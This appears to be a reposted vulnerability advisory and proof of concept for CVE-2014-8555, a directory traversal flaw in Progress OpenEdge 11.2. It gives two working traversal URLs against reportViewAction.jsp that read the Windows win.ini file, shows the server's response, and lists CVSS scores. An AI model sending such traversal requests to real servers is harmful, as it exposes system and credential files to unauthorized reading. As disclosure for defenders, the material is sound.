Progress OpenEdge Directory Traversal

2014.11.11

Credit: Mauricio Correa

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2014-8555

CWE: N/A

CVSS Base Score: 5/10

Impact Subscore: 2.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Progress OpenEdge Directory Traversal
# Date: 30/10/2014
# Exploit Author: Mauricio Correa
# Vendor Homepage: www.progress.com
# Software Link: www.progress.com/products/openedge
# Version: 11.2
# Tested on: Windows OS
# CVE : CVE-2014-8555
 
The malicious user sends a malformed request that generates the file access
up directories as follows:
 
http://target_ip:9090/report/reportViewAction.jsp?selection=..%2f..%2f..%2f.
.%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini
 
or else
 
http://
target_ip:9090/report/reportViewAction.jsp?selection=../../../../../../../..
/../../windows/win.ini
  
And the application answers
 
; for 16-bit app support
  
[fonts]
  
[extensions]
  
[mci extensions]
  
[files]
  
[Mail]
  
MAPI=1
  
CMCDLLNAME32=mapi32.dll
  
CMC=1
  
MAPIX=1
  
MAPIXVER=1.0.0.1
  
OLEMessaging=1
 
More informations (in Br-Portuguese): https://www.xlabs.com.br/blog/?p=256
 

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Progress OpenEdge Directory Traversal

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.